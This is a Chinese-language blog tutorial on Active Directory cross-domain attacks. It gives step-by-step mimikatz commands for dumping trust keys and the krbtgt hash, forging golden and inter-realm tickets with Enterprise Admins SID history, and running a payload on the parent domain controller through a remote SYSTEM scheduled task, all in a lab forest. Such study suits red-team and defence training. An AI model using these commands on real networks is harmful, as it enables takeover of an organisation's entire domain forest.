首页 > 其他分享 >跨域攻击的方法介绍

跨域攻击的方法介绍

时间:2023-06-24 18:12:45浏览次数:36  
标签:administrator exe 跨域 攻击 介绍 candada test com

跨域攻击的方法介绍

目录

一、内网中的域林

很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。

二、跨域攻击方法

1、常规渗透方法(利用web漏洞)

2、哈希传递票据攻击

3、利用域信任关系

三、获取域信息

在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员。

1、查看当前域中计算机的权限

whoami /all

2、查看域信任关系

nltest /domain_trusts

3、使用LG工具获取域信息

(1)获取当前域中的用户组

LG.exe 域名\.

(2)获取远程机器的本地用户组

LG.exe \\计算机名 -lu

(3)获取远程系统中的用户SID

LG.exe \\计算机名 -lu -sidsout

四、利用域信任密钥跨域

1、实验环境

IP地址 所属域 域中地位 机器名 当前登录用户
192.168.142.10 candada.com candada的域控 DC1 candada\administrator
192.168.142.20 test.candada.com test子域的域控 DC2 test\administrator
192.168.142.32 test.candada.com test子域的机器 win10-2 test\can

已经控制住DC2和win10-2,目标是进一步控制DC1。

2、实验步骤

(1)使用mimikatz获取当前域的SID、父域的SID、子域域管的NTLM信任密钥。

mimikatz lsadump::trust /patch
mimikatz lsadump::lsa /patch /user:candada$

(2)在普通的域内用户中创建创建高权限票据

mimikatz kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi
mimikatz kerberos::golden /domain:test.candada.com /sid:S-1-5-21-1283977433-887585873-3504403688 /sids:S-1-5-21-1441271535-139503665-1739510498-519 /rc4:85ebc8bf10bf4e04c20f4b3ce0a553af /user:administrator /service:krbtgt /target:candada.com /ticket:administrator.kirbi

(3)上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据

创建CIFS服务的票据和host服务票据

shell asktgs.exe administrator.kirbi cifs/DC1.candada.com
shell asktgs.exe administrator.kirbi host/DC1.candada.com

将票据注入内存

shell kirbikator.exe lsa cifs.DC1.candada.com.kirbi

复制文件的操作

shell copy can1.exe \\dc1.candada.com\c$
shell dir \\dc1.candada.com\c$

(4)进行创建计划任务

shell schtasks /create /s dc1.candada.com /tn test /sc onstart /tr c:\can1.exe /ru system /f

(5)执行计划任务

schtasks /run /s dc1.candada.com /i /tn "test"

(6)删除计划任务

shell schtasks /delete /s dc1.candada.com /tn "test" /f

五、利用krbtgt哈希值跨域

1、实验环境

IP地址 所属域 域中地位 机器名 当前登录用户
192.168.142.10 candada.com candada的域控 DC1 candada\administrator
192.168.142.20 test.candada.com test子域的域控 DC2 test\administrator
192.168.142.32 test.candada.com test子域的机器 win10-2 test\can

已经控制住DC2和win10-2,目标是进一步控制DC1。

2、实验步骤

(1)获取Krbtgt散列

mimikatz lsadump::lsa /patch /user:krbtgt

(2)获取当前域的SID、父域的SID

mimikatz lsadump::trust /patch

(3)构造并注入黄金票据

Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt
mimikatz Kerberos::golden /user:administrator /domain:test.candada.com /sid:S-1-5-21-1283977433-887585873-3504403688 /sids:S-1-5-21-1441271535-139503665-1739510498-519 /krbtgt:dd30df5d4360179f04471b39ed515274 /ptt

(4)后续可利用计划任务或者服务进行上线

标签:administrator,exe,跨域,攻击,介绍,candada,test,com
From: https://www.cnblogs.com/candada/p/17501428.html

相关文章

  • Nodejs介绍与安装
    Nodejs介绍与安装介绍Nodejs是一个能够在服务器端运行JavaScript的开放源代码、跨平台JavaScript运行环境Nodejs采用Google开发的V8引擎运行js代码,使用事件驱动、非阻塞和异步I/O模型等技术来提高性能,可优化应用程序的传输量和规模Nodejs大部分基本模块都用JavaScript编写。......
  • Servlet方法介绍
     publicvoidinit(ServletConfigconfig)throwsServletException{this.config=config;System.out.println("init...");}publicServletConfiggetServletConfig(){returnconfig;} ......
  • Java注解介绍
    1.元注解Java定义了4个标准得meta-annotation,用于对注解作说明@Target:描述注解的使用范围,即注解可以用在什么地方(如类,方法、成员变量等)@Retention:表示注解的生命周期(SOURCE<CLASS<RUNTIME)(一般选择RUNTIME)@Document:说明注解是否被包含在javadoc中@Inherited:说......
  • Java学习-流程控制介绍
    什么是流程控制呢,就是计算机在进行代码执行时,对于代码执行的顺序。这一章一笔带过吧,感觉有点基础。java中代码执行的顺序主要有三种:1.顺序执行2.分支执行(一般是有判断语句): 3.重复执行:这个一般就是用的循环,常用的三种循环分别是:while循环,do...while循环,for循环,我来举几个例......
  • 介绍人大金仓数据库
    人大金仓数据库是中国人民大学出版社推出的一款综合性数据库,汇集了大量的中文经济、金融、法律、政治、文化等领域的著作和期刊文章,以及各省市地方政府文件、各类法规、统计数据等。该数据库的主要特点包括:特别针对中国市场而设,大部分文献均为中文,提供广泛的学术研究资源。......
  • JUnit4单元测试介绍
     什么是JUnit?JUnit是测试框架,它用于Java代码的单元测试。JUnit=Java+UnitTesting什么是JUnit4?JUnit4是一个Java语言的单元测试框架,用于编写和执行单元测试。它是JUnit框架的第四个主要版本,并且是过去几年中最常用的版本。以下是一些关键特性和概念:注解驱动:J......
  • spring web框架介绍
    springweb框架SpringWeb框架是一个开源的Java框架,它被广泛用于构建Web应用程序和RESTful服务。它基于经典的Spring框架,提供了一组功能强大且灵活的工具和类,用于简化Web应用程序的开发。以下是SpringWeb框架的主要特点和组件:MVC模式:SpringWeb框架采用了经......
  • spring框架里的spring context模块介绍,它和spring core有什么关联?
    springcontext模块介绍Spring框架是一个开源的Java开发框架,它提供了一系列的功能和工具,用于简化Java应用程序的开发。SpringContext模块是Spring框架的核心部分之一,它主要负责管理和协调应用程序中的对象。SpringContext模块的主要功能包括:IoC容器(Inversi......
  • phar反序列化漏洞简单介绍
    phar反序列化漏洞介绍什么是phar:phar类似于java中的jar打包phar的结构:stubphar文件标识,格式为xxx<?phpxxx;__HALT_COMPILER();?>;(头部信息)manifest压缩文件的属性等信息,以序列化存储;contents压缩文件的内容;signature签名,放在文件末尾;phar协议解析文件时,会自动触发对......
  • MariaDB 工具介绍之 mariadb-shell
    MariaDBShell是一个命令行工具,它统一了MariaDB数据库产品的故障排除和管理。MariaDBShell23.03.2于2023-05-05发布。这个版本是一个技术预览版,不应该在生产环境中使用。安装通过页面https://mariadb.com/downloads/tools/下载安装包将安装包上传至服务器后,直接进行yum安......